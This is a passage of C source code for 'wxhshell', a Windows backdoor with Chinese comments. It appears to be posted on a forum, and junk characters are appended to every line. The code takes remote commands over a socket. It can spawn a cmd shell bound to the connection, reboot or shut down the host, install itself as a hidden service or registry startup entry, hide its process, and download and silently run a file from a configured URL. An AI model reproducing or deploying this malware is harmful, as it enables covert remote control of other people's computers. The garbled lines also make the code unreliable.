  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z{IUy  
  } x)rlyjFM  
  else { wCs3:@UH  
39U5jj7i  
    switch(cmd[0]) { +eQe%U  
  $m1<i?'m  
  // 帮助 k?BJdg)xJ  
  case '?': { qVjWV$j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5lKJll^2:  
    break; %ugHhS!  
  } 2s*#u<I  
  // 安装 ~pk(L[G  
  case 'i': { HWns.[  
    if(Install()) 31^cz*V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <q)4la  
    else 6Q4X 6U:WB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L(;WxHL  
    break;  , iNv'  
    } JN/UUfj  
  // 卸载 8GPIZh'0 h  
  case 'r': { c;f!!3&  
    if(Uninstall()) Z!d7&T}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =+5,B\~q@C  
    else ,?UM;^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MOn,Db$  
    break; A % Q!^d  
    } (9\;A*CZ  
  // 显示 wxhshell 所在路径 6q<YJ.,  
  case 'p': { 2 gq$C"  
    char svExeFile[MAX_PATH];  GJi~y  
    strcpy(svExeFile,"\n\r"); 05Fz@31~  
      strcat(svExeFile,ExeFile); VO3pm6r5  
        send(wsh,svExeFile,strlen(svExeFile),0); kEeo5X N  
    break; e;bYaM4 UX  
    } Mpue   
  // 重启 Mvj;ic6iK  
  case 'b': { .@)mxC:\K9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lA!"z~03*  
    if(Boot(REBOOT)) 5cr(S~Q;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ubsSa}$q  
    else { #BVtL :x@  
    closesocket(wsh); $aCd/&  
    ExitThread(0); 3H\w2V  
    } h<<>3A  
    break; lv0nEj8F  
    } -F&U  
  // 关机 cHA7Kg !  
  case 'd': { a`9L,8Ve  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?rVy2!  
    if(Boot(SHUTDOWN)) eO=s-]mk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h+.{2^x  
    else { =rA~7+}  
    closesocket(wsh); /gcEw!JS  
    ExitThread(0); !2\ r LN  
    } V~DMtB7  
    break; Xm2\0=v5;  
    } 8VG!TpX/B  
  // 获取shell Kyt)2p  
  case 's': { hD,:w%M  
    CmdShell(wsh); in <(g@Zg  
    closesocket(wsh); l} ^3fQXI  
    ExitThread(0); Kemw^48ts  
    break; GY3 Wj  
  } ;rI@ *An  
  // 退出 zQ?!f#f  
  case 'x': { [97:4.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `=+^|Y}  
    CloseIt(wsh); ]=rht9),"  
    break; hDP/JN8y  
    } 7`vEe 'qz  
  // 离开 O-]mebTvw  
  case 'q': { qs\2Z@;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9 Gy  
    closesocket(wsh); N qHy%'R  
    WSACleanup(); {_N,=DQ!  
    exit(1); vE6mOM!_L  
    break; ~0$NJrUy  
        } -\ZcOXpMx=  
  } 5*PYT=p}  
  } HD,xY4q&N  
.Ig+Dj{)  
  // 提示信息 +h^jC9,m~{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mE O \r|A  
}  j1?j6s  
  } .M,RFC  
~"pKe~h   
  return; kh~'Cn "O  
} Xdi:1wW@p  
B!{d-gb  
// shell模块句柄 ~ * :F{  
int CmdShell(SOCKET sock) 6K cD&S/  
{ g,`A[z2  
STARTUPINFO si; Vt^3iX{!  
ZeroMemory(&si,sizeof(si)); 2 &/v]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /-zXM;h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hc (e$##  
PROCESS_INFORMATION ProcessInfo; 0.$hn  
char cmdline[]="cmd"; Rtb :nJ8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uZa9zs=} c  
  return 0; I{JU-J k|  
} 4p%A8%/q  
bn 6WjJ~Z+  
// 自身启动模式 J{[n?/A{  
int StartFromService(void) 7e7 M@8+4  
{ ')a(.f  
typedef struct 5vo.[^ty  
{ j.a`N2]WE  
  DWORD ExitStatus; jA".r'D%  
  DWORD PebBaseAddress; s &Dg8$  
  DWORD AffinityMask; W{z.?$ SH  
  DWORD BasePriority; G 6VF>2  
  ULONG UniqueProcessId; &<zd.~N"  
  ULONG InheritedFromUniqueProcessId; qQ\Y/}F  
}   PROCESS_BASIC_INFORMATION; %6 Q4yk  
3X9b2RY*L/  
PROCNTQSIP NtQueryInformationProcess; b[z]CP  
jVLA CWH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2._X|~0a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ob+euCuJ  
f>'Y(dJ'W  
  HANDLE             hProcess; 01!s"wjf  
  PROCESS_BASIC_INFORMATION pbi; V)Z70J <'  
U$oduY#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \ w3]5gJZ  
  if(NULL == hInst ) return 0; %B.D^]S1:  
nEzf.[+9/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2|\A7.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &`b "a!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |6G m:jV  
W\1i,ew>  
  if (!NtQueryInformationProcess) return 0; [m^+,%m5]  
Cg*H.f%Mr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b~dIk5>O  
  if(!hProcess) return 0; Q1V9PRZX  
9nu3+.&P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kq\)MQ"/X  
.CP& bJP%  
  CloseHandle(hProcess); s  {^yj  
+_-bJo2a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NvM*h%ChM  
if(hProcess==NULL) return 0; .ROznCe}  
v}WR+)uFQ  
HMODULE hMod; :Hxv6  
char procName[255]; .^J2.>.  
unsigned long cbNeeded; "3FihE]k  
5s(1[(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5SCKP<rb  
JNcYJ[wqv  
  CloseHandle(hProcess); j }b\Z9)!  
QMv@:Eo  
if(strstr(procName,"services")) return 1; // 以服务启动 lRh9j l  
8Sz})UZ  
  return 0; // 注册表启动 9Fn\FYUq  
} ! 8`3GX:B_  
o\vBOp?hj  
// 主模块 \EseGgd21  
int StartWxhshell(LPSTR lpCmdLine) ETs>`#`6o  
{ r$)w7Gk<  
  SOCKET wsl; s/089jlc  
BOOL val=TRUE; )O:0 ]=#))  
  int port=0; P2 Vg4   
  struct sockaddr_in door; s+tGFjq  
OtFh,}E  
  if(wscfg.ws_autoins) Install(); zbJT&@z  
iR"N13  
port=atoi(lpCmdLine); D7_*k%;@  
VK@!lJ u!  
if(port<=0) port=wscfg.ws_port;  Q1@A2+ c  
g+X}c/" .  
  WSADATA data; k4 F"'N   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Cu6%h>@K$  
$1SUU F\.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A$6$,h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \d::l{VB  
  door.sin_family = AF_INET; @JdZ5Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }1IpON  
  door.sin_port = htons(port); `({T]@]V  
LR" 9D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YuB+k^  
closesocket(wsl); S*yjee<@  
return 1; BT}&Y6  
} eYx Kp!f  
tBpC: SG  
  if(listen(wsl,2) == INVALID_SOCKET) { v+9 9 -.  
closesocket(wsl); F2X0%te  
return 1; RejQ5'Neh  
} bV/jfV"%E  
  Wxhshell(wsl); Jaz?Ys|S  
  WSACleanup(); p,"g+ MwP  
#:SNHM^><  
return 0; 4`,j = 3  
Dc)dE2  
} s.8{5jVG  
:6%Z]tt  
// 以NT服务方式启动 v0L\0&+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &c1A*Pl/:G  
{ $ `7^+8vHV  
DWORD   status = 0; _YRE (YZ/  
  DWORD   specificError = 0xfffffff; 43=,yz2Ef  
,a#EW+" Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !>:?rSg*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0wS+++n$5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y".RPiTL  
  serviceStatus.dwWin32ExitCode     = 0; * RtgC/  
  serviceStatus.dwServiceSpecificExitCode = 0; *?MGMhE  
  serviceStatus.dwCheckPoint       = 0; kZ"BBJ6w  
  serviceStatus.dwWaitHint       = 0; R LD`O9#j  
Z(Jt~a3o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TsTPj8GAl[  
  if (hServiceStatusHandle==0) return; ({o'd=nO  
l#n,Fg3  
status = GetLastError(); R4-~jgzx  
  if (status!=NO_ERROR) ZRYEqSm  
{ n'emN Ra  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0V?F'<qy  
    serviceStatus.dwCheckPoint       = 0; Wl}&?v&@  
    serviceStatus.dwWaitHint       = 0; 7F'`CleU  
    serviceStatus.dwWin32ExitCode     = status; q:g2Zc'Y~W  
    serviceStatus.dwServiceSpecificExitCode = specificError; f7}*X|_Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dl}$pN  
    return; O+ICol  
  } [ +P#tIL  
jVq(?Gc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l} qE 46EL  
  serviceStatus.dwCheckPoint       = 0; A~mum+[5  
  serviceStatus.dwWaitHint       = 0; #Skv(IL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M'/aZ# b  
} LW(6$hpPp  
!kC* g  
// 处理NT服务事件,比如:启动、停止 k!{p7*0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $kQ~d8 O  
{ 0x!2ihf  
switch(fdwControl) Fgh]KQ/5  
{ yxc=Z0~1  
case SERVICE_CONTROL_STOP: 0Zg%+)iy@  
  serviceStatus.dwWin32ExitCode = 0; +sJrllrE(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :Lz\yARpk  
  serviceStatus.dwCheckPoint   = 0; MuSUKBhM  
  serviceStatus.dwWaitHint     = 0; {` w;39$+  
  { zLJ/5&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1m.W<  
  } D:K4H+ch  
  return; L{c q, jk  
case SERVICE_CONTROL_PAUSE: ,\@O(; mF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^urDoB:  
  break; BXyo  
case SERVICE_CONTROL_CONTINUE: Y5j]Z^^v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xL" |)A =  
  break; I&YSQK:b  
case SERVICE_CONTROL_INTERROGATE: :GJ &_YHf  
  break; '{B!6|"X  
}; ~^cMys |'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x]33LQ1]  
} vEn4L0D  
M4W5f#C5Ee  
// 标准应用程序主函数 Rx+p.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Kde9 $  
{ 3@]SKfoo1  
>i6yl5s  
// 获取操作系统版本 9WR6!.y#f  
OsIsNt=GetOsVer(); p*P)KP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &/Q0  
u#@Q:tnN_  
  // 从命令行安装 q?ix$nKOv  
  if(strpbrk(lpCmdLine,"iI")) Install(); NhYLt w^u  
SZXY/~=h  
  // 下载执行文件 \oZ5JoO  
if(wscfg.ws_downexe) { NrJKbk^4u/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]H1I,`=@  
  WinExec(wscfg.ws_filenam,SW_HIDE); =3v]gOcO  
} _x5 3g A  
tq|hPd<C  
if(!OsIsNt) { ?pza G{  
// 如果时win9x,隐藏进程并且设置为注册表启动 5;{H&O9Q  
HideProc(); @n": w2^B  
StartWxhshell(lpCmdLine); f^.AD-  
} EE W_gFn  
else jNC4_q&  
  if(StartFromService()) y? co|  
  // 以服务方式启动 -bU oCF0  
  StartServiceCtrlDispatcher(DispatchTable); 9*(aU z9j  
else |*0<M(YXN  
  // 普通方式启动 Ho *AAg  
  StartWxhshell(lpCmdLine); Y"wUt &  
j ku}QM^  
return 0; g"> {9YE  
}
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只看该作者 1 发表于: 2006-10-10
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